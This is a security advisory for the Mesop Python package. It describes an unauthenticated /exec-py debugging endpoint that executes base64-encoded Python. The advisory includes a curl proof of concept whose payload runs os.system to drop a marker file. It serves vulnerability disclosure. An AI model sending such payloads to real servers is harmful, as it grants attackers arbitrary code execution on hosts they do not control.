PT-2026-53494 · Pypi · Mesop

Publicado

2026-06-29

·

Atualizado

2026-06-29

CVSS v3.1

9.8

Crítica

VetorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi app.py. The /exec-py route accepts base 64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute module(module path...).
python
 # ai/sandbox/wsgi app.py
@flask app.route("/exec-py", methods=["POST"])
def exec py route():
 code = base64.urlsafe b64decode(request.form.get("code"))
 # ... code is blindly written to file and forcefully executed

PoC

bash
# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target ip address hosting sandbox>:port/exec-py 
-H "Content-Type: application/x-www-form-urlencoded" 
-d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Correção

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Identificadores relacionados

PYSEC-2026-412

Produtos afetados

Mesop